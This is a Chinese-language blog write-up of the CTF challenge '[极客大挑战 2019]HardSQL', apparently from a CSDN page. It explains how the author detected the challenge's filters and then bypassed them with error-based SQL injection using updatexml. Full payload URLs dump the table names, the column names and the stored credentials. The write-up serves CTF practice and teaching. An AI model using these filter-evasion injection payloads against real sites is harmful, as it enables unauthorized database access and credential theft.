[极客大挑战 2019]HardSQL


前言

本文主要记录[极客大挑战 2019]HardSQL的解题过程和相关思路


[极客大挑战 2019]HardSQL

打开题目看到登录框,先尝试用'判断类型,发现回显了错误信息告知是数据库为MariaDB,存在字符型注入
在这里插入图片描述
尝试使用#闭合,看起来是闭合成功了,不过为什么还是提示我输入username和password?
在这里插入图片描述
于是我尝试username=123&password=123,发现提示用户名密码错误,那就是说上面Input your username and password并不是登陆失败的提示,而是存在某种检测,另外给出的提示
在这里插入图片描述
那么我就用bp跑了一下字典,看看是检测了哪些内容
检测到#,则返回Input your username and password
在这里插入图片描述
检测到=/**/byunion等都会有提示你可别被我逮住了,臭弟弟
在这里插入图片描述
不过呢,因为一开始可以看到报错信息,又加上没有检测updatexmlextractvalue等报错函数,可以考虑使用报错注入,这里就采用updatexml来尝试报错注入
在这里插入图片描述
尝试使用?username=1' or updatexml(1,concat(0x7e,database()),1))%23&password=1不过发现还是被检测到了
在这里插入图片描述
很奇怪,明明orupdatexml%23等这些都没有被过滤,为什么还是被检测到了,后来把空格去掉才看出来,原来空格也被过滤了
在这里插入图片描述
那么在空格被过滤,内联注释被过滤的情况下,可以采用来进行代替以绕过检测,查找当前数据库
?username=1'or(updatexml(1,concat(0x7e,database()),1))%23&password=1
在这里插入图片描述
=被过滤的情况下可以使用like进行替换,查找当前数据库中的所有表名
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))),1))%23&password=1
在这里插入图片描述
虽然and被过滤了,但是由于geek数据库中只有H4rDsq1一张表,所以不用担心被其他表的列名所混淆
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like('geek'))),1))%23&password=1
也可以使用如下payload
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))%23&password=1
在这里插入图片描述
继续获取username和password,发现获取password的时候其值只显示了一部分
在这里插入图片描述
substr函数被过滤了,这时可以考虑使用right函数
在这里插入图片描述
在这里插入图片描述

根据重复部分拼接得到flag

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值